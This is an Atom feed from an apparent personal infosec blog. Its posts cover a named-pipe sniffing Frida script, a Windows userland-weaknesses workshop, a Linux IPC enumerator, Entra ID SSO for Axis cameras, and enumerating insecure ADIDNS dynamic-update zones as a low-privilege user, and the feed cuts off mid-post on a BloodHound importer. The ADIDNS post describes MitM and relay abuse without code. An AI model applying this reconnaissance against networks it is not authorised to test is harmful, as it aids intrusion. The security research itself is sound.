<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.1.1">Jekyll</generator><link href="https://malacupa.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://malacupa.com/" rel="alternate" type="text/html" /><updated>2026-06-14T22:39:30+02:00</updated><id>https://malacupa.com/feed.xml</id><title type="html">malacupa.com</title><subtitle>malacupa infosec blog</subtitle><author><name>malacupa</name></author><entry><title type="html">FridaNamedPipesHooks - Transitioning to Nt* syscall stubs</title><link href="https://malacupa.com/2026/06/14/frida-named-pipes-hooks-syscalls.html" rel="alternate" type="text/html" title="FridaNamedPipesHooks - Transitioning to Nt* syscall stubs" /><published>2026-06-14T22:00:00+02:00</published><updated>2026-06-14T22:00:00+02:00</updated><id>https://malacupa.com/2026/06/14/frida-named-pipes-hooks-syscalls</id><content type="html" xml:base="https://malacupa.com/2026/06/14/frida-named-pipes-hooks-syscalls.html">&lt;p&gt;This is about &lt;a href=&quot;https://github.com/malacupa/FridaNamedPipesHooks&quot;&gt;FridaNamedPipesHooks&lt;/a&gt; tool on GitHub, it’s a bit better now.&lt;/p&gt;

&lt;h3 id=&quot;whats-fridanamedpipeshooks&quot;&gt;What’s FridaNamedPipesHooks&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FridaNamedPipesHooks&lt;/code&gt; is a Frida script (with a Python wrapper) that hooks Windows API functions to sniff messages sent/received over named pipes. It’s useful for quick debugging or security analysis of local IPC without needing kernel-mode drivers. I’ve made an update for it to be capture properly in more scenarios.&lt;/p&gt;

&lt;h3 id=&quot;the-update&quot;&gt;The update&lt;/h3&gt;
&lt;p&gt;While preparing for my &lt;a href=&quot;https://github.com/malacupa/ewuw-workshop&quot;&gt;EWUW Workshop&lt;/a&gt;, I noticed that some software doesn’t use the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReadFile&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteFile&lt;/code&gt; APIs from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32.dll&lt;/code&gt;. Instead, they call the lower-level &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtReadFile&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtWriteFile&lt;/code&gt; syscall stubs in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; directly.&lt;/p&gt;

&lt;p&gt;A specific case I found was .NET code calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.IO.StreamWriter.Write&lt;/code&gt;, which uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.IO.Pipes.PipeStream.WriteFileNative&lt;/code&gt; under the hood. Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteFileNative&lt;/code&gt; hits the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll&lt;/code&gt; stubs, my original script was missing all that traffic.&lt;/p&gt;

&lt;p&gt;I’ve updated the script to hook these lower-level functions: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtCreateNamedPipeFile&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtCreateFile&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtWriteFile&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtReadFile&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This should provide much better coverage. I also added few more tools doing the same (and better) with more complex initial setup if you need something more serious.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If you want to discuss, I’m here: &lt;a href=&quot;https://bsky.app/profile/malacupa.bsky.social&quot;&gt;Bluesky&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://x.com/malacupa&quot;&gt;X&lt;/a&gt;&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">This is about FridaNamedPipesHooks tool on GitHub, it’s a bit better now.</summary></entry><entry><title type="html">BSides Prague 2026 Workshop - Beyond the Web: Exploration of Windows Userland Weaknesses</title><link href="https://malacupa.com/2026/06/13/ewuw-workshop.html" rel="alternate" type="text/html" title="BSides Prague 2026 Workshop - Beyond the Web: Exploration of Windows Userland Weaknesses" /><published>2026-06-13T22:00:00+02:00</published><updated>2026-06-13T22:00:00+02:00</updated><id>https://malacupa.com/2026/06/13/ewuw-workshop</id><content type="html" xml:base="https://malacupa.com/2026/06/13/ewuw-workshop.html">&lt;p&gt;This is about &lt;a href=&quot;https://github.com/malacupa/ewuw-workshop&quot;&gt;ewuw-workshop&lt;/a&gt;, workshop I made.&lt;/p&gt;

&lt;h3 id=&quot;more&quot;&gt;More&lt;/h3&gt;
&lt;p&gt;The repo contains the public materials for my workshop &lt;strong&gt;Beyond the Web: Exploration of Windows Userland Weaknesses&lt;/strong&gt;, which I originally presented at BSides Prague 2026.&lt;/p&gt;

&lt;p&gt;It includes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The presentation slides&lt;/li&gt;
  &lt;li&gt;Lab exercises (3x protocol handlers, 1x COM, 2x named pipes) and setup scripts for the VM&lt;/li&gt;
  &lt;li&gt;Source code for the custom-built vulnerable applications (real vulnerable apps are only referenced)&lt;/li&gt;
  &lt;li&gt;List of 3rd-party tools used during the session&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;If you want to discuss: &lt;a href=&quot;https://bsky.app/profile/malacupa.bsky.social&quot;&gt;Bluesky&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://x.com/malacupa&quot;&gt;X&lt;/a&gt;&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">This is about ewuw-workshop, workshop I made.</summary></entry><entry><title type="html">lipcenum - small Linux IPC and system interaction enumerator</title><link href="https://malacupa.com/2026/06/10/lipcenum.html" rel="alternate" type="text/html" title="lipcenum - small Linux IPC and system interaction enumerator" /><published>2026-06-10T22:00:00+02:00</published><updated>2026-06-10T22:00:00+02:00</updated><id>https://malacupa.com/2026/06/10/lipcenum</id><content type="html" xml:base="https://malacupa.com/2026/06/10/lipcenum.html">&lt;p&gt;This is about &lt;a href=&quot;https://github.com/malacupa/lipcenum&quot;&gt;lipcenum&lt;/a&gt; tool on GitHub.&lt;/p&gt;

&lt;h3 id=&quot;what&quot;&gt;What?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lipcenum&lt;/code&gt; is a pure Python 3.7 script designed to enumerate Inter-Process Communication (IPC) and other system interactions for a specific process on Linux. It works by parsing information from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt; filesystem.&lt;/p&gt;

&lt;p&gt;Currently, it covers:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Pipes (anonymous and named)&lt;/li&gt;
  &lt;li&gt;Network Sockets (TCP/UDP, IPv4 &amp;amp; IPv6) with connection states&lt;/li&gt;
  &lt;li&gt;UNIX Domain Sockets&lt;/li&gt;
  &lt;li&gt;File Descriptors (regular files, character devices, block devices)&lt;/li&gt;
  &lt;li&gt;Anonymous Inodes (eventfd, epoll, timerfd, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;why&quot;&gt;Why?&lt;/h3&gt;
&lt;p&gt;There are great tools like &lt;a href=&quot;https://github.com/guardicore/IPCDump&quot;&gt;IPCDump&lt;/a&gt; or &lt;a href=&quot;https://github.com/microsoft/Procmon-for-Linux&quot;&gt;Procmon-for-Linux&lt;/a&gt; but they often require compilation which doesn’t run smoothly. Sometimes you just need a quick look at what a process is doing so there’s this script for you.&lt;/p&gt;

&lt;p&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lipcenum&lt;/code&gt; uses only the Python standard library and targets Python 3.7+ (common on many modern Linux distros), it’s easy to deploy. Just copy the script and run it. It even supports JSON output if you want to pipe it into something else.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Reach me here: &lt;a href=&quot;https://bsky.app/profile/malacupa.bsky.social&quot;&gt;Bluesky&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://x.com/malacupa&quot;&gt;X&lt;/a&gt;&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">This is about lipcenum tool on GitHub.</summary></entry><entry><title type="html">How to Set Up OIDC SSO for Axis OS via Entra ID</title><link href="https://malacupa.com/2026/01/13/entra-sso-on-axis-os.html" rel="alternate" type="text/html" title="How to Set Up OIDC SSO for Axis OS via Entra ID" /><published>2026-01-13T20:50:37+01:00</published><updated>2026-01-13T20:50:37+01:00</updated><id>https://malacupa.com/2026/01/13/entra-sso-on-axis-os</id><content type="html" xml:base="https://malacupa.com/2026/01/13/entra-sso-on-axis-os.html">&lt;p&gt;How to set up single sign-on (SSO) for Axis OS cameras is documented on the Axis website &lt;a href=&quot;https://help.axis.com/en-us/axis-os-knowledge-base#microsoft-identity-platform-oauth&quot;&gt;here&lt;/a&gt;. However, I found the details on setting up role mapping lacking. This guide aims to clarify the process. There are multiple ways to map the 3 Axis OS roles (admin, operator, viewer). I’ll show how to set up mapping from an Entra application’s custom roles and briefly discuss alternative mapping to Entra groups at the end.&lt;/p&gt;

&lt;h2 id=&quot;set-up-sso-by-mapping-axis-roles-to-entra-applications-custom-roles&quot;&gt;Set up SSO by mapping Axis roles to Entra Application’s custom roles&lt;/h2&gt;

&lt;h3 id=&quot;entra-configuration&quot;&gt;Entra configuration&lt;/h3&gt;

&lt;p&gt;1) We create Entra application. You can do this at &lt;a href=&quot;https://portal.azure.com&quot;&gt;https://portal.azure.com&lt;/a&gt; or &lt;a href=&quot;https://entra.microsoft.com&quot;&gt;https://entra.microsoft.com&lt;/a&gt;. Fill in name as you like and choose account types as you wish. For the Redirect URI it’s critical that it points to hostname of virtual host where your Axis OS camera will use this SSO and uses the proper URL path. Generic format is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;your host&amp;gt;/oidc/oauth2callback&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-entra-app-registration.png&quot; alt=&quot;axis-sso-entra-app-registration&quot; /&gt;&lt;/p&gt;

&lt;p&gt;2) Next, create app roles. After application is created go to its details (if it disappears go find it in “App registrations”). In the left pane there’s “App role” option, select that and on the “App roles” screen hit the “Create app role” button. That should look like screenshot below. Naming of the role doesn’t matter, select member types to your liking and value of the role. It doesn’t have to be value that’s used below but should be something sane as that’s what will be needed later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-create-custom-app-role.png&quot; alt=&quot;axis-sso-create-custom-app-role&quot; /&gt;&lt;/p&gt;

&lt;p&gt;3) Create custom roles for all 3 Axis OS roles admins, operators, viewers so then your screen looks similar to the following screenshot. Note down the values somewhere, you’ll need those later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-all-custom-app-roles.png&quot; alt=&quot;axis-sso-all-custom-app-roles&quot; /&gt;&lt;/p&gt;

&lt;p&gt;4) In the left menu, select “Certificates &amp;amp; secrets”, then “Client secrets” and “New client secret”. A screen like below should show up. Generate your secret and note its value somewhere safe.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-client-secret.png&quot; alt=&quot;axis-sso-client-secret&quot; /&gt;&lt;/p&gt;

&lt;p&gt;5) We’ve forgot to collect Entra Application ID so we go back and in the left pane select “Overview”. Copy “Application (client) ID” value somewhere for later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-app-id.png&quot; alt=&quot;axis-sso-app-id&quot; /&gt;&lt;/p&gt;

&lt;p&gt;6) On the same page we have “Endpoints” button. Click that and screen like below shows up. Copy out value of “OpenID Connect metadata document”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-endpoints.png&quot; alt=&quot;axis-sso-endpoints&quot; /&gt;&lt;/p&gt;

&lt;p&gt;7) What’s left is to map some users/groups to your Entra roles. Let’s go to Entra’s “Enterprise applications” page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-enterprise-apps.png&quot; alt=&quot;axis-sso-enterprise-apps&quot; /&gt;&lt;/p&gt;

&lt;p&gt;8) In the left menu, go to “Users and groups”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-enterprise-app-users-and-groups.png&quot; alt=&quot;axis-sso-enterprise-app-users-and-groups&quot; /&gt;&lt;/p&gt;

&lt;p&gt;9) Click “Add user/group”. You will either see nice error message like me saying you can only add users or if you have better Entra license, you can also select Groups. I’ll only show how to add Users here.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-create-users-and-groups-assignment.png&quot; alt=&quot;axis-sso-create-users-and-groups-assignment.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;10) Select the “None Selected” text under “Users” and this screen shows. There you can select your users, I’ll use this assignment for admin role so I’ll add users I want to be Axis OS admins and confirm with “Select”&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-enterprise-app-users-and-groups-select-principals.png&quot; alt=&quot;axis-sso-enterprise-app-users-and-groups-select-principals&quot; /&gt;&lt;/p&gt;

&lt;p&gt;11) Then select the “None Selected” text under “Select a role” and the previously defined roles should show up. I’ll choose the admins role and proceed with “Select” button.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-enterprise-app-users-and-groups-select-role.png&quot; alt=&quot;axis-sso-enterprise-app-users-and-groups-select-role.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;12) After clicking “Assign” button in the screen above, mapping users to role is done. Continue mapping for remaining roles. What remains is the Axis OS configuration.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-enterprise-app-users-and-groups-result.png&quot; alt=&quot;axis-sso-enterprise-app-users-and-groups-result.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;axis-os-configuration&quot;&gt;Axis OS configuration&lt;/h3&gt;

&lt;p&gt;1) First, we need to set up virtual host that will require OIDC authentication. Login to your camera as admin and go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/camera/index.html#/system/accounts&lt;/code&gt; or click “System” -&amp;gt; “Accounts” in the menu. Scroll down to “Virtual hosts” section and click “Add virtual host”. There you should configure hostname mapped to your camera’s IP where you’ll want the SSO to trigger and port where the web interface will listen. For type select OpenID and hit “Save”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-virtual-host.png&quot; alt=&quot;axis-sso-virtual-host&quot; /&gt;&lt;/p&gt;

&lt;p&gt;2) Fill in values under OpenID Configuration on the same page like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Client ID: Step 5 of Entra configuration.&lt;/li&gt;
  &lt;li&gt;Admin claim: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roles:&amp;lt;value&amp;gt;&lt;/code&gt; where value comes from step 3 of Entra configuration for admin role, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roles:Axis.Admins&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Operator claim: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roles:&amp;lt;value&amp;gt;&lt;/code&gt; where value comes from step 3 of Entra configuration for operator role, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roles:Axis.Operators&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Viewer claim: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roles:&amp;lt;value&amp;gt;&lt;/code&gt; where value comes from step 3 of Entra configuration for viewer role, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roles:Axis.Viewers&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Scopes: Should be optional but doesn’t allow to submit without a value (for me at least). You can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openid&lt;/code&gt; value here.&lt;/li&gt;
  &lt;li&gt;Outgoing proxy: Optional proxy URL in case your camera is not directly connected to internet.&lt;/li&gt;
  &lt;li&gt;Provider URL: Step 6 of Entra configuration.&lt;/li&gt;
  &lt;li&gt;Require claim: This is your sanity check that all tokens retrieved by Axis OS must pass. Format &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;claim name&amp;gt;:&amp;lt;value&amp;gt;&lt;/code&gt;, two default claims that make sense are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tid:&amp;lt;Entra tenant ID&amp;gt;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iss:https://login.microsoftonline.com/&amp;lt;Entra tenant ID&amp;gt;/v2.0&lt;/code&gt;. Entra allows you configuring optional claims in “Application registration” if you need more.&lt;/li&gt;
  &lt;li&gt;Remote user: This is how the user will see their name after login to Axis OS. Some values to choose from are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;name&quot;&lt;/code&gt; (display name of Entra user), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; (user’s email), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;preferred_username&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Client secret: Step 4 of Entra configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/axis-sso-oidc-config.png&quot; alt=&quot;axis-sso-oidc-config&quot; /&gt;&lt;/p&gt;

&lt;p&gt;3) If you’ve verified your setup works properly, you may want to remove all other virtual hosts using less secure authentication methods.&lt;/p&gt;

&lt;h3 id=&quot;set-up-sso-by-mapping-axis-roles-to-entra-groups&quot;&gt;Set up SSO by mapping Axis roles to Entra Groups&lt;/h3&gt;

&lt;p&gt;If you prefer, you can create 3 distinct groups in Entra and map those to Axis roles. You will then have to copy the group ID of each group and add those to the OpenID Configuration in Axis OS in the following manner:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Admin claim value: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups:&amp;lt;ID of admin group in Entra&amp;gt;&lt;/code&gt;, example: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups:4396dbf0-e50d-47fc-810e-ebd334d992c4&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Operator claim value: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups:&amp;lt;ID of operator group in Entra&amp;gt;&lt;/code&gt;, example: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups:a4238f53-b0bf-4f38-bde0-6e04a6c562c1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Viewer claim value: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups:&amp;lt;ID of viewers group in Entra&amp;gt;&lt;/code&gt;, example: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups:d29b1c38-13d7-4255-9dd7-cbc45ef971f0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;applications-custom-role-mapping-vs-group-membership-mapping&quot;&gt;Application’s custom role mapping vs Group membership mapping&lt;/h3&gt;

&lt;p&gt;If you’re admin of large enterprise, your users may have membership in so many groups that they just won’t fit into JWT. In that case when SSO flow finishes, Axis OS may not receive JWT with groups you mapped to Axis OS roles and authorization may fail. In contrast, custom roles should always be present in JWT obtained by Axis OS after SSO.&lt;/p&gt;

&lt;p&gt;If you do setup for smaller business, then groups may be preferred as that may be quicker to configure.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If I’m wrong about anything or just want to discuss, I’m here: &lt;a href=&quot;https://bsky.app/profile/malacupa.bsky.social&quot;&gt;Bluesky&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://x.com/malacupa&quot;&gt;X&lt;/a&gt;&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">How to set up single sign-on (SSO) for Axis OS cameras is documented on the Axis website here. However, I found the details on setting up role mapping lacking. This guide aims to clarify the process. There are multiple ways to map the 3 Axis OS roles (admin, operator, viewer). I’ll show how to set up mapping from an Entra application’s custom roles and briefly discuss alternative mapping to Entra groups at the end.</summary></entry><entry><title type="html">Finding ADIDNS Unsecure Dynamic Updates setting</title><link href="https://malacupa.com/2024/12/13/unsecure-dynamic-updates.html" rel="alternate" type="text/html" title="Finding ADIDNS Unsecure Dynamic Updates setting" /><published>2024-12-13T20:50:37+01:00</published><updated>2024-12-13T20:50:37+01:00</updated><id>https://malacupa.com/2024/12/13/unsecure-dynamic-updates</id><content type="html" xml:base="https://malacupa.com/2024/12/13/unsecure-dynamic-updates.html">&lt;h3 id=&quot;what-is-unsecure-dynamic-updates-setting-and-why-its-interesting-for-security-people&quot;&gt;What is Unsecure Dynamic Updates setting and why it’s interesting for security people&lt;/h3&gt;

&lt;p&gt;Active Directory depends on its DNS system to discover and communicate with its services. DNS records in AD are stored directly as AD objects with their own full LDAP distinguished name. DNS system in AD support zones so that you can have different configuration for each set of DNS records. DNS zones for an AD forest with a single AD domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wag.local&lt;/code&gt; can look like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/dns-zones.png&quot; alt=&quot;dnsmgmt.msc showing ADIDNS zones&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This means there are are 4 zones and each with potentially different configuration. We have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_msdcs.wag.local&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wag.local&lt;/code&gt; which are default and the 2 others created by me. In this article we’re interested in their Dynamic Updates setting.&lt;/p&gt;

&lt;p&gt;Dynamic Update setting allows 3 options (see &lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/e8651544-0fbb-4038-8232-375ff2d8a55e&quot;&gt;here&lt;/a&gt;). As the name of one of them - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ZONE_UPDATE_UNSECURE&lt;/code&gt; - suggests, this is the unsecure option as it allows anyone to update DNS records fot that zone. By anyone I mean authenticated or not.&lt;/p&gt;

&lt;p&gt;This is dangerous settings as it can allow an attacker who can reach AD domain to easily perform man-in-the-middle (MitM) attacks. This was already heavily discussed elsewhere with some references below. The gist is that an attacker could change existing DNS record and thus make other computers and users authenticate to machine they control introducing MitM. This could then be exploited e.g. for authentication relay.&lt;/p&gt;

&lt;p&gt;Some references to articles discussing unauthorized ADIDNS access abuse:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netspi.com/blog/technical-blog/network-penetration-testing/exploiting-adidns/&quot;&gt;Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.akamai.com/blog/security-research/spoofing-dns-by-abusing-dhcp&quot;&gt;Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.scrt.ch/2023/09/25/exploiting-stale-adidns-entries/&quot;&gt;Exploiting stale ADIDNS entries&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;how-to-find-out-dynamic-updates-setting-the-usual-way&quot;&gt;How to find out Dynamic Updates setting the usual way&lt;/h3&gt;

&lt;p&gt;If you’re DNS admin you can easily validate this from GUI via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnsmgmt.msc&lt;/code&gt; console (install via Remote Server Administration Tools server feature). Alternative may be calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnscmd.exe /ZoneInfo &amp;lt;zone name&amp;gt;&lt;/code&gt; - value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; of field &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update&lt;/code&gt; should indicate unsecure updates in tool’s output.  However, if you’re not DNS admin your GUI and CLI will fail.&lt;/p&gt;

&lt;h3 id=&quot;how-to-find-out-dynamic-updates-as-commoner&quot;&gt;How to find out Dynamic Updates as commoner&lt;/h3&gt;

&lt;p&gt;In case even you’re lowly security engineer without high privileges or a pentester who landed in new network, you may still want to enumerate this information with standard AD account. You try the GUI.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/dnsmgmt.msc-error.png&quot; alt=&quot;dnsmgmt.msc connection error&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No-go. You try with CLI.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/dnscmd-error.png&quot; alt=&quot;dnscmd.exe connection error&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nope again. Luckily, zone information are stored in Active Directory and it’s possible to query it via LDAP under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MicrosoftDNS,DC=DomainDnsZones,DC=&amp;lt;your domain&amp;gt;&lt;/code&gt;. As is usual in AD, those who can login shall read everything via LDAP (in this case possibly even Guest accounts). You can see default permissions on zone AD object below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/default-permissions-of-adidns-zone.png&quot; alt=&quot;Default permissions of ADIDNS zone object&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, the meat of this post. Here’s a tool you can use to query this data from PowerShell as any AD user - &lt;a href=&quot;https://gist.github.com/malacupa/0b7694f93dbaf5bf1b9d23ec55b0b648&quot;&gt;DynamicUpdateSupport.ps1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is how output looks like for my test domain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/cmd-output1.png&quot; alt=&quot;Example DynamicUpdateSupport.ps1 output&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If I’m wrong about anything or just want to discuss, I’m here: &lt;a href=&quot;https://bsky.app/profile/malacupa.bsky.social&quot;&gt;Bluesky&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://x.com/malacupa&quot;&gt;X&lt;/a&gt;&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">What is Unsecure Dynamic Updates setting and why it’s interesting for security people</summary></entry><entry><title type="html">StarHound - CLI import tool for SharpHound/AzureHound data</title><link href="https://malacupa.com/2023/01/26/starhound.html" rel="alternate" type="text/html" title="StarHound - CLI import tool for SharpHound/AzureHound data" /><published>2023-01-26T11:10:37+01:00</published><updated>2023-01-26T11:10:37+01:00</updated><id>https://malacupa.com/2023/01/26/starhound</id><content type="html" xml:base="https://malacupa.com/2023/01/26/starhound.html">&lt;p&gt;This is about &lt;a href=&quot;https://github.com/malacupa/starhound-importer&quot;&gt;StarHound Importer&lt;/a&gt; tool on GitHub.&lt;/p&gt;

&lt;h3 id=&quot;what&quot;&gt;What?&lt;/h3&gt;
&lt;p&gt;I assume everyone who would stumble upon this article would know what all those *Hound tools are about but let’s take it briefly from the top:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/BloodHoundAD/SharpHound&quot;&gt;SharpHound&lt;/a&gt; is C# CLI application to collect objects and their permissions from Active Directory&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/BloodHoundAD/AzureHound&quot;&gt;AzureHound&lt;/a&gt; is SharpHound’s cloud counterpart written in Golang used to collect objects and permissions from Azure Active Directory and Azure Resource Manager&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, &lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt; is a desktop application built in Electron JavaScript framework that visualizes data collected by the 2 tools above. It uses neo4j database for storing its data and contains logic to setup DB indexes, prebuilt queries and mostly amazing visualizations of attack paths in your AD and Azure. The tool also includes logic to import data from Sharp and Azure hounds into neo4j. And here’s the thing, you don’t really have to use BloodHound to analyze your AD and AAD data. You can interact with neo4j directly. There has been many articles and tools providing Cypher queries (neo4j’s query language) to run directly on the DB and gain more insight into BloodHound data, e.g.:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/knavesec/Max&quot;&gt;Max&lt;/a&gt;: Maximizing BloodHound with a simple suite of tools&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/kaluche/bloodhound-quickwin&quot;&gt;bloodhound-quickwin&lt;/a&gt;:&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/PlumHound/PlumHound&quot;&gt;PlumHound&lt;/a&gt;: BloodHoundAD Report Engine for Security Teams&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/&quot;&gt;BloodHound Cypher Cheatsheet&lt;/a&gt;: One of the bigger Cypher cheatsheets, by hausec&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/fin3ss3g0d/cypherhound&quot;&gt;cypherhound&lt;/a&gt;: Python3 CLI with 260+ neo4j queries by fin3ss3g0d&lt;/li&gt;
  &lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;why&quot;&gt;Why?&lt;/h3&gt;
